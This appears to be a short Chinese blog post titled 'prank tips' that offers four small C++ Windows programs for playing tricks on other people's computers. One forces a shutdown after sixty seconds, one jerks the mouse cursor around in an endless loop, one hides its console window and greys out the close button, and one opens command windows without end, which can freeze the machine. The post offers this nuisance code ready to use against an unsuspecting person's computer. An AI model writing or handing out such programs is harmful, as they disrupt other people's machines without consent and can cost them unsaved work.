这个人不懒,写了很多东西
整人小妙招
#include<iostream>
using namespace std;
int main()
{
printf("该电脑将在一分钟后关机");
system("shutdown -s -t 60");
return 0;
}
#include<bits/stdc++.h>
#include<windows.h>
#include<time.h>
using namespace std;
int main(){
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)
SetCursorPos(rand()%x,rand()%y);
return 0;
}
#include<bits/stdc++.h>
#include<windows.h>
#include<time.h>
using namespace std;
int main(){
HWND hWnd=GetConsoleWindow();
SetWindowLong(hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
EnableMenuItem(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_GRAYED);
return 0;
}
#include<iostream>
using namespace std;
int main()
{
system("color F5");
while(1)
system("start cmd");
return 0;
}